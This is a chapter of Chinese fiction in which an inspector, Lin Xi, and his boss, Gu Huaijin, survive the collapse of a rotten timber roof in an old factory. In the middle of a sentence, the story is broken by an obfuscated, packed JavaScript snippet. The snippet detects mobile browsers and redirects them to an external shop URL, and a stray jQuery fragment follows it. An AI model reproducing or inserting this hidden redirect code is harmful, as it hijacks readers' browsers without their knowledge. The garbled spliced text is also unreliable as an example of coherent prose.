腐朽是从气味开始的。
林溪爬上吱呀作响的检修梯，推开屋顶检修口的那一瞬间，一股潮湿的、带着甜腥的腐败气息扑面而来。不是普通的霉味，是木材从内部开始坏死时特有的气味——像雨林深处倒伏多年的巨木，在湿热中缓慢分解。
他戴上头灯，光束切开阁楼的黑暗。
眼前景象让呼吸一滞。
三层高的厂房，屋顶是典型的木桁架结构。二十米跨度的主梁横贯东西，曾经粗壮的红松木料，如今表面布满灰白色的菌斑。有些地方的木纤维已经酥软，手指轻轻一戳，就能陷进去一个坑。最严重的两根次梁，在靠近承重墙的位置，出现了明显的下沉——不是几毫米，是整整三公分。
“比报告里写的还糟。”林溪喃喃道，举起相机拍照。
快门声在寂静的阁楼里显得格外清脆。每拍一张，他的心就沉一分。
结构报告说“腐朽程度超预期”，但眼前这不是“超预期”，是接近崩溃边缘。
他小心翼翼地踩着临时铺设的木板，走向主梁中央。头灯的光束扫过梁体表面，在某个位置停住了。
一条裂缝。不是表面的干裂，是从内部向外绽开的纵向裂缝，宽度足以塞进一枚硬币。林溪蹲下身，用卷尺测量：长度一米二，最宽处两公分。裂缝边缘的木材已经发黑，这是长期渗水导致纤维素分解的痕迹。
他从工具包里取出探针，轻轻插进裂缝。
没有遇到预期的阻力。探针一路滑进去，深度超过二十公分——这意味着裂缝已经贯穿梁体截面的三分之一以上。
“该死。”林溪低声咒骂。
屋顶突然传来“啪”的一声轻响。
他猛地抬头。是瓦片滑动的声音。紧接着，有细小的灰尘从屋顶缝隙簌簌落下，在头灯光束里形成一道悬浮的瀑布。
然后是第二声、第三声。
阁楼里的温度似乎骤然下降了几度。林溪的后颈泛起一阵寒意——不是心理作用，是真的有冷风从屋顶破洞灌进来。他站起身，头灯扫向声音来源。
东南角的屋面，瓦片正在缓慢但持续地滑动。不是一两片，是成片地、像多米诺骨牌一样，沿着坡面向下移动。每片瓦滑动时发出的摩擦声很轻微，但数十片、数百片同时移动，汇集成一种低沉的、令人不安的簌簌声。
“糟了。”林溪转身冲向检修口。
就在他踏出第一步的瞬间，头顶传来木材断裂的巨响。
不是“咔嚓”那种清脆的断裂声，是低沉的、撕裂般的呻吟。仿佛一个巨大的生命体在经历骨折。声音来自主梁方向。
林溪的头灯猛地转向。
他看见了永生难忘的一幕：那条一米多长的裂缝，正在以肉眼可见的速度扩张。不是慢慢裂开，是像某种活物在呼吸——裂缝边缘的木材纤维一根根崩断，发出细密的噼啪声。裂缝宽度从两公分扩展到三公分、四公分……
灰尘、木屑、菌斑粉末从裂缝中喷涌而出，在光束中疯狂舞动。
主梁开始下垂。
不是错觉。林溪能清楚地看到梁体中央向下弯曲的弧度在增加。伴随着木材内部纤维断裂的闷响，整根梁像疲惫的脊梁，缓缓地、无可挽回地向下塌陷。
屋顶的簌簌声瞬间变成了暴雨般的轰鸣。瓦片如瀑布倾泻，砸在楼板上碎裂的声音连成一片。阳光从突然出现的破洞中刺入，在飞舞的灰尘中切出一道道光柱。
林溪的大脑在尖叫“快跑”，但身体僵在原地。他的眼睛死死盯着那根正在断裂的主梁，脑海里飞速计算：
主梁垮塌 →次梁失去支撑 →屋架系统连锁崩溃 →整片屋顶……
“林溪！”
吼声从检修口传来。
顾怀瑾的脸出现在洞口下方，逆着光，看不清表情，但声音里的急切穿透了所有噪音：“离开那里！现在！”
这一声吼叫惊醒了林溪。他转身冲向检修口，脚下的木板因为屋顶变形而翘起，他踉跄了一下，手肘重重撞在旁边的桁架上。
就在这时，第二声断裂响起。
这次不是主梁，是主梁旁边的一根斜撑。碗口粗的松木，从中间拦腰折断。断口处，木材的腐朽程度触目惊心——芯材已经完全烂成深褐色的粉末，只有外围一圈薄薄的边材还在勉强支撑。
斜撑断裂的瞬间，整个屋架发出了令人牙酸的扭曲声。
林溪离检修口还有五米。
顾怀瑾已经爬了上来，半个身子探进阁楼。他伸出手：“手给我！”
瓦片如雨点般砸落。一块陶土瓦擦着林溪的肩膀飞过，砸在楼板上，碎片四溅。灰尘呛得他剧烈咳嗽，眼睛刺痛。
三米。
头顶传来更恐怖的声响——是钉子在木材中拔出的声音。那些固定屋面板的大铁钉，在木材变形产生的巨大剪力下，正一根根从橡子中被强行扯出。每拔出一根，就发出一声尖锐的金属嘶鸣。
两米。
顾怀瑾的手近在咫尺。林溪拼尽全力向前扑去。
就在他的指尖即将触碰到顾怀瑾手掌的瞬间，脚下的楼板突然下陷。
不是木板松动，是楼板结构梁因为屋顶荷载转移而超载，发生了局部破坏。林溪脚下一空，身体失去平衡向前栽倒。
“抓住！”
顾怀瑾整个人扑了上来，一只手抓住检修口边缘，另一只手死死抓住了林溪的手腕。
那一抓的力量极大，指关节因为用力而泛白。林溪感到自己的腕骨几乎要被捏碎，但正是这种疼痛，让他清醒地意识到：不能松手。
楼板继续下陷。碎木料、灰尘、断裂的钉子如瀑布般向楼下坠落。轰隆声从下方传来——是砸坏东西的声音。
“上来！”顾怀瑾低吼，手臂肌肉绷紧，试图把林溪拉上来。
但屋顶的崩塌在加速。
主梁终于完成了它最后的断裂。一声巨响后，二十米长的红松木料从中间彻底断开。断成两截的梁体向下坠落，拉扯着与之相连的所有构件。
整个屋架系统开始崩溃，像一副被推倒的多米诺骨牌。
顾怀瑾做出了一个让林溪震惊的决定：他松开了抓着检修口边缘的手，整个人扑向林溪，用身体护住了他。两人一起向下坠落。
不是垂直坠落——顾怀瑾在最后一刻调整了姿势，带着林溪向相对完好的西北角滚去。
世界在旋转。碎裂声、崩塌声、尘埃、光线碎片般闪过。林溪感到顾怀瑾的手臂紧紧箍着他的肩膀，另一只手护住他的后脑。在混乱中，他听见顾怀瑾闷哼了一声——有什么重物砸在了他身上。
然后一切突然停止。
他们撞在了一堆废弃的纺纱机上。生锈的机器发出不堪重负的呻吟，但好歹缓冲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193484|197102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了坠落的力量。
灰尘如浓雾般弥漫，好几秒内什么都看不见。林溪剧烈咳嗽，眼睛火辣辣地疼。他试图动一动，立刻感到顾怀瑾的手臂收紧：
“别动。”声音从头顶传来，压抑着痛苦，“可能有二次崩塌。”
灰尘缓缓沉降。
林溪睁开刺痛的眼睛，向上看去。
屋顶破了一个巨大的洞，形状不规则，边缘是参差的断木和翘起的瓦片。阳光从洞口灌入，照亮了空气中飞舞的亿万尘埃。主梁断成两截，一截还勉强挂在墙上，另一截斜插在楼板上，像一柄巨大的、倒插的剑。
阁楼楼板破了个大洞，他们就是从那洞里掉下来的。此刻他们所在的区域，周围堆满了掉落的瓦片、木料和碎玻璃。
“顾总……”林溪声音发颤，“你受伤了？”
顾怀瑾没有立刻回答。他缓缓松开手臂，撑起身体。动作有些僵硬。
林溪这才看清：顾怀瑾的右肩有一片深色痕迹正在衬衫上迅速洇开。不是灰尘，是血。一块尖锐的木刺，大约十公分长，扎进了他的肩膀后侧。
“没事。”顾怀瑾低头看了眼，语气平静得可怕，“皮外伤。”
他伸手握住木刺的末端，深吸一口气，然后猛地拔出。
血涌了出来。顾怀瑾的脸色白了一瞬，但手很稳。他迅速脱下衬衫——已经破了——撕下一截布料，用力压在伤口上。
林溪看着那一幕，胃里一阵翻涌。不是恶心，是某种更复杂的情绪：恐惧、后怕、愧疚，还有一种难以名状的震动。
“能站起来吗？”顾怀瑾问，额头上已经渗出冷汗。
林溪点头，挣扎着起身。除了几处擦伤和淤青，他奇迹般地没受重伤。
顾怀瑾也站起来，但身体晃了一下。林溪下意识扶住他。
“我送你去医院。”
“先离开这里。”顾怀瑾摇头，“建筑还不稳定。”
他们互相搀扶着，踩着满地的废墟向外走。每一步都小心翼翼，避开可能松动的楼板。阳光透过屋顶破洞，在地面上投出一个个明亮的光斑，与周围的阴影形成刺眼对比。
走到厂房门口时，顾怀瑾停下脚步，回头看了一眼。
那个巨大的破洞，像一只睁开的、空洞的眼睛，凝视着他们。
“彻底没救了？”林溪轻声问。
顾怀瑾沉默了很久。血还在从他肩上的伤口渗出，染红了临时包扎的布料。但他站得笔直，像一杆插在废墟里的标尺。
“不。”他终于说，“还可以救。”
“可是梁都断了——”
“梁断了，可以换。”顾怀瑾转回头，目光落在林溪脸上，“但有些东西，不能因为难，就说放弃。”
他的眼睛里有一种林溪从未见过的光——不是坚定，不是执着，是某种更深的东西。像在黑暗中待久了的人，突然看见一线微光时的那种神情。
“走吧。”顾怀瑾迈出厂房，“先处理伤口。然后，我们重新画图。”
铁门在他们身后缓缓关闭，隔绝了那片崩塌的废墟。
但有些东西，已经永远改变了。
在阳光刺眼的街道上，在路人惊愕的目光中，林溪扶着受伤的顾怀瑾，一步一步走向最近的诊所。血滴落在水泥地面上，留下断续的红色印记。
像某种宣示，也像某种开始。